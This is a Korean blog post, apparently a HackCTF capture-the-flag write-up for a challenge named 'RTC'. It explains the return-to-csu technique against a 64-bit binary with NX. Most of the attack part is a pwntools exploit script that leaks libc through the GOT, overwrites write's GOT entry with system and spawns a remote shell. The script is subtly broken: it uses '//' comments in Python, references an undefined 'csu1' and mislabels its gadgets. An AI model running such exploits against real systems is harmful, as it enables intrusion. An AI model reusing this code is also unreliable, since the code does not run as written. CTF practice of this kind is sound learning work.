감자 텃밭

[HackCTF] - RTC 본문

my_study/HackCTF

[HackCTF] - RTC

g2h 2021. 11. 25. 11:33

제목에서도 알 수 있듯 해당 문제는 RTC를 이용하는 문제인듯 하다.

 

우선 해당 프로그램을 확인해보자.

입력과 출력 기능이 있고, nx가 걸려있는걸 확인 할 수 있다.

 

또한 해당 바이너리 파일에는 pop rdx; ret 가젯이 존재하지 않는다..

역시 RTC 기법을 사용해야할 거 같다.

 

해당 프로그램을 IDA로 확인해보자.

매우 단순하다 write()함수와 read()함수로 단순 출력 입력만 하고있다.

우선

RTC란 ROP기법을 사용할떄 필요한 가젯이 없을경우 사용하는 기법이다.

 

RTC기법은 __libc_csu_init 함수를 사용하며,

가젯을 해당 함수에서 찾는것을 제외한 나머지 방법은 ROP와 동일하다.

 

자세한 설명은 RTC 기법설명에서 확인하자.

https://hg2lee.tistory.com/entry/Return-to-cs-%EA%B8%B0%EB%B2%95-%EC%A0%95%EB%A6%AC

 

Return-to-csu 기법 정리

포너블 문제를 풀며 64bit ROP를 진행할 때 가젯이 부족하거나 없는 경우가 존재한다. [64bit ROP 는 rdi,rsi,rdx 와 같이 순서에 맞는 레지스터가 필요하기 때문] 보통 로컬에서 풀때는 해당 로컬에 립시

hg2lee.tistory.com

우선 해당 함수를 보면 아래와 같이 되어있다.

RTC 기법을 사용할때 봐야할 부분은 파란 네모와 빨간 네모 부분이다.

POP 을통해 인자를 정리하고 rbx, rbp, r12, r13, r14, r15에 저장한다.

 

그 후 ret에서 파란 네모부분으로 넘어가서 r13의 값을 rdx에 저장하고 r14의 값을 rsi에 r15의 값을 edi에 넣게된다.

이를 통해 우리는 rdi, rsi, rdx의 값을 제어할 수 있게된다. 그 후 r12+rbx*8 부분을 call하게 되는에 이부분 떄문에

rbx의 값을 0으로 세팅해줘야한다 그 이유는 r12에 우리가 호출할 함수의 주소를 넣어둬야 하기에

r12+rbx(0)*8 했을때 문제없이 r12 위치로 이동할 수 있게 된다.

 

그 후 rbx에 1을 더한 후 rbx와 rbp를 더한다 이부분을 위해 rbp에는 1을 넣어줘야한다.

그렇게 비교값이 참이되면 다시 rsp를 8바이트 늘려주고 빨간네모 부분을 실행하게된다.

 

이로서 우리는 ROP와 동일하게 연속적으로 함수를 호출하여 쓸 수 있게 된다.

 

예상 Exploit순서는 아래와 같다.

1. write() 함수로 read()함수의 got주소를 알아내어 leak해서 libc_base주소를 구한다.
2. read() 함수로 .bss영역에 "/bin/sh" 문자열을 저장한다.
3. read() 함수로 write_got 에 libc_base주소로 system() 함수의 주소를 알아내어 got_overwrite를 한다.
4. Exploit
from pwn import *
context.log_level="debug"

r = remote("ctf.j0n9hyun.xyz",3025)

libc = ELF("./libc.so.6")
e = ELF("./rtc")

read_got = p64(e.got['read']) //read_got
write_got = p64(e.got['write']) //write_got
 
system_off = libc.symbols['system'] //system_off
read_off = libc.symbols['read'] //read_off
 
csu2 = 0x4006ba //pop 을통해 인자값을 각 레지스터에 저장해줄 가젯1
csu3 = 0x4006a0 // 레지스터에 저장한 값들을 rdi, rsi, edi 에 옮겨줄 가젯2
 
bss = 0x0000000000601050 // bss영역의 주소

payload = "\x90"*72  //ret접근
payload += p64(csu1) //가젯1
payload += p64(0) //rbx = 0
payload += p64(1) // rbp = 1
payload += write_got // r12
payload += p64(8) // r13
payload += read_got // r14 
payload += p64(1) // r15 
payload += p64(csu2) //ret = 가젯 2
 
payload += "\x90"*8 // add rsp, 0x8
payload += p64(0) // rbx = 0
payload += p64(1) // rbp = 1
payload += read_got // r12
payload += p64(8) // r13
payload += p64(bss) // r14
payload += p64(0) // r15
payload += p64(csu2) //ret = 가젯 2
 
payload += "\x90"*8// add rsp, 0x8
payload += p64(0)// rbx = 0
payload += p64(1) // rbp = 1
payload += read_got // r12
payload += p64(8) // r13
payload += write_got //r14
payload += p64(0) // r15
payload += p64(csu2) // ret = 가젯 2

payload += "\x90"*8// add rsp, 0x8
payload += p64(0)// rbx = 0
payload += p64(1) // rbp = 1
payload += write_got //r12
payload += p64(0) // r13
payload += p64(0) // r14
payload += p64(bss) // r15
payload += p64(csu2) // ret = 가젯 2

r.recvuntil("\n") 
r.send(payload) 
read_add = u64(r.recv(8)) 
libc_base = read_add - read_off 
system_add = libc_base + system_off
log.info("sysadd : "+hex(system_add))
log.info("read_add : "+hex(read_add))
log.info("libc : "+hex(libc_base))

r.send("/bin/sh\x00")
r.send(p64(system_add))
r.interactive()​

secnline으로 보냈을 시 1바이트가 추가적으로 보내져 쉘이안따졌다.

그래서 send 로 보냈더니 성공적으로 쉘을 획득할 수 있었다.

 

'my_study > HackCTF' 카테고리의 다른 글

[HackCTF] pwning  (0) 2021.09.26
[HackCTF] - yes or no  (1) 2021.08.26
[HackCTF] ROP  (0) 2021.08.16
[HackCTF] gift  (0) 2021.08.16
[HackCTF] Look at me  (0) 2021.08.16